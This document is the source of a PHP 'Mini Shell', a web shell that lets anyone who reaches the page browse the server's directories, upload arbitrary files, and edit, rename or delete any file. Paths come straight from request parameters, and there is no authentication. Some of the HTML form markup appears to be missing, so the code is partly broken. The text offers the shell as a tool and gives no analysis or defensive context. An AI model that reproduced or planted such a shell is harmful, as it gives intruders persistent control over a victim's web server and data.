$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();$files = scandir($dir);$dir = realpath($dir);// CSS simple clean dark modeecho "<style>body { background: #121212; color: #f1f1f1; font-family: monospace; padding: 20px; }a { color: #03a9f4; text-decoration: none; }a:hover { text-decoration: underline; }form, textarea { margin-top: 15px; }input, textarea { background: #1e1e1e; color: #fff; border: 1px solid #333; padding: 6px; border-radius: 5px; }ul { list-style: none; padding: 0; }li { margin: 5px 0; }button { background: #03a9f4; color: #000; border: none; padding: 6px 10px; border-radius: 5px; cursor: pointer; }</style>";echo "
Mini Shell by kyy404
";echo "<p>📂 Dir: $dir</p>";// Uploadecho "";if (isset($_POST['go'])) { $file = $_FILES['upload']['name']; if (move_uploaded_file($_FILES['upload']['tmp_name'], "$dir/$file")) { echo "<p>✅ Uploaded: $file</p>"; } else { echo "<p>❌ Upload failed.</p>"; }}// File listecho "<ul>";if ($dir != "/") { echo "<li><a href='?dir=".dirname($dir)."'>🔙 Back</a></li>";}foreach ($files as $file) { if ($file === ".") continue; $path = "$dir/$file"; $isDir = is_dir($path); echo "<li>".($isDir ? "📁" : "📄")." <a href='?dir=$path'>$file</a>"; if (is_file($path)) { echo " | <a href='?edit=$path'>✏️ Edit</a>"; } echo " | <a href='?del=$path' onclick=\"return confirm('Delete $file?')\">🗑️ Delete</a>"; echo " | <a href='?rename=$path'>✍️ Rename</a></li>";}echo "</ul>";// Deleteif (isset($_GET['del'])) { $target = $_GET['del']; if (is_dir($target)) { rmdir($target) ? print("<p>✅ Folder deleted.</p>") : print("<p>❌ Failed to delete folder.</p>"); } else { unlink($target) ? print("<p>✅ File deleted.</p>") : print("<p>❌ Failed to delete file.</p>"); }}// Renameif (isset($_GET['rename'])) { $old = $_GET['rename']; echo ""; if (isset($_POST['renamego'])) { $new = dirname($old)."/".$_POST['newname']; rename($old, $new) ? print("<p>✅ Renamed.</p>") : print("<p>❌ Rename failed.</p>"); }}// Editif (isset($_GET['edit'])) { $target = $_GET['edit']; echo ""; if (isset($_POST['save'])) { file_put_contents($target, $_POST['content']); echo "<p>✅ Saved.</p>"; }}